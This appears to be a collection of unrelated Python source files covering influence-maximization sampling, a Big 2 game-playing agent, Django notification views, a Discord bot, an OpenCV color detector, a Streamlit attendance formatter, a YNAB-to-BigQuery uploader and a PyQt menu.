def getUserDistribution(graph, numberOfTask, userLocation, qualityOfSubarea):
    totalUserDistribution = {}
    for task in range(1, numberOfTask + 1):
        totalUserDistribution[task] = {}
        qualitySum = 0
        for user in graph.nodes:
            qualitySum += qualityOfSubarea[task][userLocation[user]]
        totalUserDistribution[task]['qualitySum'] = qualitySum
        userList = []
        userDistribution = []
        for user in graph.nodes:
            userList.append(user)
            userDistribution.append(qualityOfSubarea[task][userLocation[user]] / qualitySum)
        totalUserDistribution[task]['userList'] = userList
        totalUserDistribution[task]['userDistribution'] = userDistribution
    return totalUserDistribution

def generateRRSet(graph, task, taskWeights, totalUserDistribution):
    qualitySum = totalUserDistribution[task]['qualitySum']
    userList = totalUserDistribution[task]['userList']
    userDistribution = totalUserDistribution[task]['userDistribution']
    selectedUser = np.random.choice(userList, p=userDistribution)
    searchSet = reverseSearch(graph, selectedUser, task, taskWeights)
    return searchSet

def gererateMTRRSet(graph, numberOfTask, taskWeights, totalUserDistribution):
    task = random.randint(1, numberOfTask)
    searchSet = generateRRSet(graph, task, taskWeights, totalUserDistribution)
    return (task, searchSet)

def generateMTRRSetCollection(graph, numberOfTask, taskWeights, totalUserDistribution, theta):
    MTRRSetCollection = []
    for i in range(theta):
        MTRRSetCollection.append(gererateMTRRSet(graph, numberOfTask, taskWeights, totalUserDistribution))
    return MTRRSetCollection

def getWeightedCoverage(MTRRSetCollection, seeds, userBidding, totalUserDistribution):
    weightedCoverage = 0
    for MTRRset in MTRRSetCollection:
        task = MTRRset[0]
        RRSet = MTRRset[1]
        task_seeds = set()
        for seed in seeds:
            if userBidding[seed][task] == 1:
                task_seeds.add(seed)
        if not task_seeds.isdisjoint(RRSet):
            weightedCoverage += totalUserDistribution[task]['qualitySum']
    return weightedCoverage

def removeCoveredUser(MTRRSetCollection, max_user, userBidding):
    MTRRSetCollectionPrime = copy.deepcopy(MTRRSetCollection)
    for MTRRset in MTRRSetCollection:
        task = MTRRset[0]
        RRSet = MTRRset[1]
        if userBidding[max_user][task] == 1:
            if max_user in RRSet:
                MTRRSetCollectionPrime.remove(MTRRset)
    return MTRRSetCollectionPrime

def maxCoverage(graph, D, registeredUserSet, numberOfTask, taskWeights, qualityOfSubarea, userLocation, userBidding,
        MTRRSetCollection, totalUserDistribution):
    userTotalBid = algo_MC.gererateTotalBid(userBidding, numberOfTask)
    seeds = set()
    currentConsumption = 0
    MTRRSetCollectionPrime = MTRRSetCollection
    while seeds != registeredUserSet:
        candidate = registeredUserSet - seeds
        candidate = list(candidate)
        max_user = 0
        max_marginal_gain = -10000
        for user in candidate:
            if userTotalBid[user] == 0:
                continue
            current_user = set()
            current_user.add(user)
            current_marginal_gain = getWeightedCoverage(MTRRSetCollectionPrime, current_user, userBidding, totalUserDistribution) / len(MTRRSetCollection) / userTotalBid[user]
            if current_marginal_gain > max_marginal_gain:
                max_user = user
                max_marginal_gain = current_marginal_gain
        if currentConsumption + userTotalBid[max_user] > D:
            break
        # print(getWeightedCoverage(MTRRSetCollection, seeds, userBidding, totalUserDistribution) / len(MTRRSetCollection) + max_marginal_gain * userTotalBid[max_user])
        seeds.add(max_user)
        currentConsumption = currentConsumption + userTotalBid[max_user]
        MTRRSetCollectionPrime = removeCoveredUser(MTRRSetCollectionPrime, max_user, userBidding)
        # estimatedMTDiffusion = getWeightedCoverage(MTRRSetCollection, seeds, userBidding, totalUserDistribution) / len(MTRRSetCollection)
        # MTDiffusion = diffusionModel.computeMultiTaskDiffusion(graph, seeds, numberOfTask, taskWeights, qualityOfSubarea, userLocation, userBidding, 2000)
        # print("currentConsumption = ", str(currentConsumption), ", estimatedMTDiffusion = " + str(estimatedMTDiffusion) + ", MTDiffsion = " + str(MTDiffusion))
    return seeds


import torch
import numpy as np

from big2_rl.env.env import get_obs
from big2_rl.deep_mc.model import Big2ModelResNet, Big2Model, Big2ModelConv, Big2ModelConvRes

class DMCAgent:
    def __init__(self, model_path, model_type):
        """
        Loads model's pretrained weights from a given model path.
        """
        if model_type == 'residual':
            self.model = Big2ModelResNet()
        elif model_type == 'conv':
            self.model = Big2ModelConv()
        elif model_type == 'convres':
            self.model = Big2ModelConvRes()
        elif model_type == 'standard':
            self.model = Big2Model()
        else:
            raise ValueError('Invalid model type')

        model_state_dict = self.model.state_dict()
        if torch.cuda.is_available():
            pretrained_weights = torch.load(model_path, map_location='cuda:0')
        else:
            pretrained_weights = torch.load(model_path, map_location='cpu')
        # replace default state dict with pretrained weights)
        if model_path.endswith(".ckpt"):
            model_state_dict.update(pretrained_weights)
        else:
            model_state_dict.update(pretrained_weights["model_state_dict"])

        self.model.load_state_dict(model_state_dict)
        if torch.cuda.is_available():
            self.model.cuda()
        self.model.eval()

    def act(self, infoset):
        """
        Given an infoset available to this agent, takes the z_batch and x_batch features (historical actions
        and current state + action) and computes forward pass of model to get the suggested legal action.
        However, if only one action is legal (pass), then take that action.
        """
        if len(infoset.legal_actions) == 1:  # default case
            return infoset.legal_actions[0]
        obs = get_obs(infoset)
        z_batch = torch.from_numpy(obs['z_batch']).float()
        x_batch = torch.from_numpy(obs['x_batch']).float()
        if torch.cuda.is_available():
            z_batch, x_batch = z_batch.cuda(), x_batch.cuda()
        y_pred = self.model.forward(z_batch, x_batch, return_value=True)['values'].detach().cpu().numpy()

        best_action_index = np.argmax(y_pred, axis=0)[0]
        best_action = infoset.legal_actions[best_action_index]
        return best_action

    def recommend(self, infoset):
        """
        Given an infoset, takes z_batch and x_batch features and computes forward pass of model to get top k moves
        according to estimated Q(s,a). Returns a list of tuples [(action1: value1), (action2: value2), ...] where action
        is an int corresponding to the index of the appropriate legal action and value is an int
        Unless: If only one action legal, then return value as 'N/A'
        """
        if len(infoset.legal_actions) == 1:  # default case
            return [(0, 'N/A')]
        obs = get_obs(infoset)
        z_batch = torch.from_numpy(obs['z_batch']).float()
        x_batch = torch.from_numpy(obs['x_batch']).float()
        if torch.cuda.is_available():
            z_batch, x_batch = z_batch.cuda(), x_batch.cuda()
        y_pred = self.model.forward(z_batch, x_batch, return_value=True)['values'].detach().cpu().numpy()

        # http://seanlaw.github.io/2020/01/03/finding-top-or-bottom-k-in-a-numpy-array/
        top_k = min(5, y_pred.shape[0])  # number of results to return. Adjust '5'.
        idx = np.argpartition(y_pred, -top_k, axis=0)[-top_k:]
        idx_sorted = idx[np.argsort(y_pred[idx], axis=None)][::-1].reshape(top_k,)
        actions_and_values = []
        for action_ind in idx_sorted:
            value = y_pred[action_ind][0]
            actions_and_values.append((action_ind, value))
        return actions_and_values


import numpy as np
import dataset.util as utl

x, t = utl.get_data()
network = utl.init_network()

W1, W2, W3 = network['W1'], network['W2'], network['W3']

print(x.shape)
print(x[0].shape)
print(W1.shape)
print(W2.shape)
print(W3.shape)

batch_size = 100
accuracy_cnt = 0
for i in range(0, len(x), batch_size):
    x_batch = x[i:i+batch_size]
    y_batch = utl.predict(network, x_batch)
    p = np.argmax(y_batch, axis=1)
    accuracy_cnt += np.sum(p == t[i:i+x_batch])

x = np.array([[0.1, 0.8, 0.1], [0.3, 0.1, 0.6], [0.2, 0.5, 0.3], [0.8, 0.1, 0.1]])
y = np.argmax(x, axis=1)
print(y)

y = np.array([1, 2, 1, 0])
t = np.array([1, 2, 0, 0])
print(y == t)
print(np.sum(y==t))


from django.shortcuts import render, get_object_or_404
from django.http import HttpResponse, HttpResponseBadRequest,\
                        HttpResponseForbidden
from django.contrib.auth.decorators import login_required
from common.decorators import ajax_required
from activities.utils import create_action
from activities.models import Action, Notification
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from django.contrib.auth.models import User

@login_required
def actions_list(request):
    actions = Action.objects.exclude(user=request.user, target_id=None)
    users = User.objects.filter(is_staff=True)
    following_ids = request.user.following.values_list('id', flat=True)
    page = request.GET.get('page')
    actions = actions.filter(user_id__in=following_ids).select_related('user', 'user__profile').prefetch_related('target')
    paginator = Paginator(actions, 12)
    try:
        actions = paginator.page(page)
    except PageNotAnInteger:
        actions = paginator.page(1)
    except EmptyPage:
        if request.is_ajax():
            return HttpResponse('')
        actions = paginator.page(paginator.num_pages)
    if request.is_ajax():
        return render(request, 'actions/partial_action.html', {'actions': actions})
    return render(request, 'actions/main.html', {'actions': actions, 'users':users })
    #from_feed = -1
    #if feeds:
    #    from_feed = feeds[0].id
    #return render(request, 'feeds/main.html', {
     #   'feeds': feeds,
      #  'from_feed': from_feed,
       # 'page': 1,
        #})

@login_required
def notifications(request):
    user = request.user
    notifications = Notification.objects.filter(to_user=user)
    unread = Notification.objects.filter(to_user=user, is_read=False)
    for notification in unread:
        notification.is_read = True
        notification.save()

    return render(request, 'activities/notifications.html',
                  {'notifications': notifications})

@login_required
@ajax_required
def last_notifications(request):
    user = request.user
    notifications = Notification.objects.filter(to_user=user,
                                                is_read=False)
    for notification in notifications:
        notification.is_read = True
        notification.save()

    return render(request,
                  'activities/last_notifications.html',
                  {'notifications': notifications})

@login_required
@ajax_required
def check_notifications(request):
    user = request.user
    notifications = Notification.objects.filter(to_user=user,
                                                is_read=False)
    return HttpResponse(len(notifications))


'''
Modified from Ray Wu's code
https://github.com/raywu0123
'''

import requests
import pprint
import os

class LabClient:

    def __init__(self, url, student_id):
        self.base_url = url
        self.get_url = f'{self.base_url}population/{student_id}/'
        self.post_url = f'{self.base_url}api/{student_id}'

    def get_population(self, filename, dir_name):
        with open(os.path.join(dir_name, filename), 'w') as f:
            r = requests.get(f'{self.get_url}{filename}')
            f.write(r.text)

    def post_mpm(self, file_path, generation):
        with open(file_path, 'rb') as f:
            r = requests.post(
                self.post_url,
                data={'gen': generation},
                files={'file': f},
            )
        fitness_str = r.json()['fitness']
        target = "Fitness:(Max/Mean/Min):"
        target_idx = fitness_str.find(target)
        max_fitness = float(fitness_str[target_idx + len(target):target_idx + len(target)+5])
        return max_fitness


import discord
import os
from discord.ext import commands

prefixes = ['<@!757743672379834448> ', 'lol ', 'lol']
bot = commands.Bot(command_prefix=prefixes)
bot.remove_command('help')

def is_it_me(ctx):
    return ctx.author.id == 475315771086602241

@bot.event
async def on_ready():
    print('Bot is online')

@bot.command()
@commands.check(is_it_me)
async def cog(ctx, typeOf, extension):
    if typeOf == 'load':
        bot.load_extension(f'cogs.{extension}')
        await ctx.send(f'Loaded **{extension}**!')
    if typeOf == 'unload':
        bot.unload_extension(f'cogs.{extension}')
        await ctx.send(f'Unloaded **{extension}**!')
    if typeOf == 'reload':
        bot.unload_extension(f'cogs.{extension}')
        bot.load_extension(f'cogs.{extension}')
        await ctx.send(f'Reloaded **{extension}**!')

for filename in os.listdir('./cogs'):
    if filename.endswith('.py'):
        bot.load_extension(f'cogs.{filename[:-3]}')

bot.run(os.environ.get('BOT_TOKEN'))


#!/usr/bin/python

import cv2
import numpy as np

# Constants

cam = cv2.VideoCapture(0)

X1=260
X2=300
Y1=200
Y2=400

B=0
G=0
R=0
sum=0

while True:

        ret, img = cam.read()

        if img.any():

                for i in range(X1,X2):
                        for j in range(Y1,Y2):
                                B = B + img[i][j][0]
                                G = G + img[i][j][1]
                                R = R + img[i][j][2]
                                sum = sum + 1
                break

avB=B/sum
avG=G/sum
avR=R/sum

if (avR > 200):
        if (avG > 200):
                print('YELLOW')
        if (avG < 100) and (avB < 100):
                print('RED')

elif (avR < 100):
        if (avB < 80):
                print('GREEN')
        if (avG < 80):
                print('BLUE')
        if (avG > 180) and (avB > 180):
                print('CYAN')

elif (avG < 80) and (avR > 80):
        print('PURPLE')

elif (avG > 80) and (avR > 80) and (avB > 80):
        print('GREY')

else:
        print('No color found')

print('R')
print(avR)
print('G')
print(avG)
print('B')
print(avB)

cv2.imwrite("ColorCalib.png", img)

cam.release()


import base64
import datetime
from datetime import datetime
import pandas as pd
import streamlit as st
from PIL import Image
import io

st.title('MS-Teams Attendance Formatter')
st.markdown('Convert your MS Teams attendance CSV into easy-to-read format!')
logo = Image.open("./logo.jpg")
st.sidebar.title("MS-Teams Attendance Formatter")

st.set_option('deprecation.showfileUploaderEncoding', False)

st.sidebar.image(logo, use_column_width=True)
st.sidebar.markdown("Created with ❤ by Arghyadeep Das")

st.sidebar.markdown('[![Arghyadeep Das]\
					(https://img.shields.io/badge/Author-@arghyadeep99-gray.svg?colorA=gray&colorB=dodgerblue&logo=github)]\
					(https://github.com/arghyadeep99)')

st.sidebar.markdown('**How to export the attendance in .csv format?**')
st.sidebar.markdown('1) Download the attendance by clicking on the arrow.')
step1 = Image.open("./step1.jpg")

st.sidebar.image(step1, use_column_width=True)

st.sidebar.markdown('2) Open the CSV and it should look something like this:')
step2 = Image.open("./step2.jpg")

st.sidebar.image(step2, use_column_width=True)

st.sidebar.markdown('3) Upload this CSV file to this website.')
st.sidebar.markdown('4) Download the resultant CSV that is easier to interpret.')

st.sidebar.markdown('*You are all set to go!* 😃')
st.sidebar.subheader('**FAQs**')
st.sidebar.markdown('**Is the attendance sheet saved on your servers?**')
st.sidebar.markdown('No, the data that you upload is not saved anywhere on this website or any 3rd party website i.e, not in any storage like database/File System/Logs/Cloud.')

uploaded_file = st.file_uploader("Upload Your Attendance Sheet (.csv file only!)", type="csv")

if uploaded_file is not None:
	@st.cache(allow_output_mutation=True)
	def calculate_attendance(file, start_time=None, end_time=None, encoding='utf-8', separator=','):
		file = pd.read_csv(file, encoding=encoding, sep=separator)
		file.Timestamp = pd.to_datetime(file['Timestamp'], infer_datetime_format=True)

		df = pd.DataFrame(columns = ["Full Name", "Total Time"])
		df["Full Name"] = file["Full Name"]
		names = df["Full Name"].unique().tolist()

		try:
			for i in df.index:
				stud_join_time, stud_left_time = start_time, end_time
				time_attended = end_time - end_time
				join_flag, leave_flag = False, False
				for j in file.index:
					if df['Full Name'][j] == file['Full Name'][i]:
						if file['User Action'][j] == 'Joined before':
							first_join_time = start_time
							stud_join_time = start_time
							time_attended = end_time - stud_join_time
						elif file['User Action'][j] == 'Left':
							stud_left_time = file['Timestamp'][j]
							time_attended -= (end_time - stud_left_time)
						elif file['User Action'][j] == 'Joined':
							stud_join_time = file['Timestamp'][j]

							time_attended += (end_time - stud_join_time)
				df["Total Time"][i] = time_attended

			df['Total Time'] = pd.to_timedelta(df['Total Time'])
			df['Total Time'] = df['Total Time'] - pd.to_timedelta(df['Total Time'].dt.days, unit='d')
			df = df.drop_duplicates()

		except Exception as e:
			print(e)

		df = df.dropna()
		df = df.sort_values(by=['Full Name'])
		df.reset_index(drop=True)
		df.index = range(1,len(df)+1)
		return df

	encoding = st.selectbox('Enter Encoding option:', ['utf-8', 'utf-7', 'utf-16', 'ISO-8859-1'])
	sep = st.selectbox('Separator:', [',', '\\t', '\\s', ';'])

	start_date = st.date_input("Enter Meeting Date(YYYY/MM/DD):",value=datetime.now())
	st.write("Start date:", start_date)

	start_time = st.time_input("Enter Meeting Start Time(HH:MM):",value=datetime.now().time())
	end_time = st.time_input("Enter Meeting End Time(HH:MM):",value=datetime.now().time())

	start_time = datetime.combine(start_date, start_time)
	end_time = datetime.combine(start_date, end_time)

	if st.button("SUBMIT"):
		df = calculate_attendance(uploaded_file, start_time, end_time, encoding, sep)
		csv = df.to_csv(index=False)
		b64 = base64.b64encode(csv.encode()).decode()  # some strings <-> bytes conversions necessary here
		href = f'Download CSV File'

		st.markdown("When clicking on the link below, make sure to save it as <filename>.csv. Don't forget to add the csv extension.")
		st.markdown(href, unsafe_allow_html=True)

		st.table(df)
	else:
		start_time = start_time
		end_time = end_time


import configparser
import json
import os
from google.cloud import bigquery
from google.oauth2 import service_account

config = configparser.ConfigParser()
config.read('config/bigquery.ini')
ynab_config = config['YNAB']

credentials = service_account.Credentials.from_service_account_file(
    ynab_config['ServiceAccountKey'])
client = bigquery.Client(ynab_config['ProjectID'], credentials)

entities = [
    'accountMappings',
    'accounts',
    'masterCategories',
    'monthlyBudgets',
    'payees',
    'scheduledTransactions',
    'transactions'
]

def open_budget():
    """Opens the YNAB4 budget file and sends each entity to another function to create
        a newline JSON file.
    """
    with open(ynab_config['BudgetFile']) as json_file:
        data = json.load(json_file)

        for entity in entities:
            convert_to_newline_json(entity, data[entity])

def convert_to_newline_json(entity: str, data: list):
    """Write each record from YNAB4's budget for this entity into a new line
        in JSON, named after the entity. This will just write to your local disk.

    Args:
        entity (str): Name of this entity, e.g. 'accounts', 'transactions'.
        data (list): List of records from the YNAB4 budget file for this entity.
    """
    with open(''.join((entity, '.json')), 'w') as f:
        for line in data:
            json.dump(line, f)
            f.write('\n')

def upload_to_bq():
    """Uploads each JSON file for YNAB4 entities into BigQuery. Presets are:
        Write Disposition: WRITE_TRUNCATE
        Schema: Auto-detect

    Raises:
        Exception: Throw an exception if the JSON file can't be uploaded and tell us
            which entity threw the error.
    """
    dataset_ref = client.dataset(ynab_config['Dataset'])
    job_config = bigquery.LoadJobConfig()

    for entity in entities:
        filename = ''.join((entity, '.json'))
        if os.stat(filename).st_size == 0:
            continue

        table_ref = dataset_ref.table(entity)
        job_config.source_format = bigquery.SourceFormat.NEWLINE_DELIMITED_JSON
        job_config.write_disposition = bigquery.WriteDisposition.WRITE_TRUNCATE
        job_config.autodetect = True

        try:
            with open(filename, 'rb') as source_file:
                job = client.load_table_from_file(
                    source_file,
                    table_ref,
                    location=ynab_config['Location'],
                    job_config=job_config
                )
        except Exception as e:
            msg = "Problem with entity: {}. {}".format(entity, e)
            raise Exception(msg)

        job.result()

        print("Loaded {} rows into {}:{}".format(
            job.output_rows, ynab_config['Dataset'], entity))

def clean_up_files():
    """Iterate through each YNAB4 entity and delete the JSON file named after it from
        your local disk.
    """
    for entity in entities:
        filename = ''.join((entity, '.json'))
        os.remove(filename)


from PyQt5.QtWidgets import QAction
from PyQt5.QtGui import QIcon

from modules.deck.QGui.QDeckStackedWidget import QDeckStackedWidget

import functools

class Menu(object):
    def __init__(self, context, menubar):
        self.context = context

        deckMenu = menubar.addMenu('&Deck')

        decksManagerAction = QAction(QIcon.fromTheme("document-properties"), '&Decks Manager', context)
        decksManagerAction.setStatusTip('See an Overview of all Decks / edit / create Decks')
        decksManagerAction.triggered.connect(functools.partial(self.addDecksManagerTab, context))

        deckMenu.addAction(decksManagerAction)

    def addDecksManagerTab(self, context):
        decks_widget = QDeckStackedWidget().deckWidget()
        decks_widget.set_tab_text.connect(self.setTabText)
        context.addNewCustomTab(decks_widget, 'decks manager')

    def setTabText(self, text):
        self.context.setTabText(self.context.tab_widget.currentIndex(), text)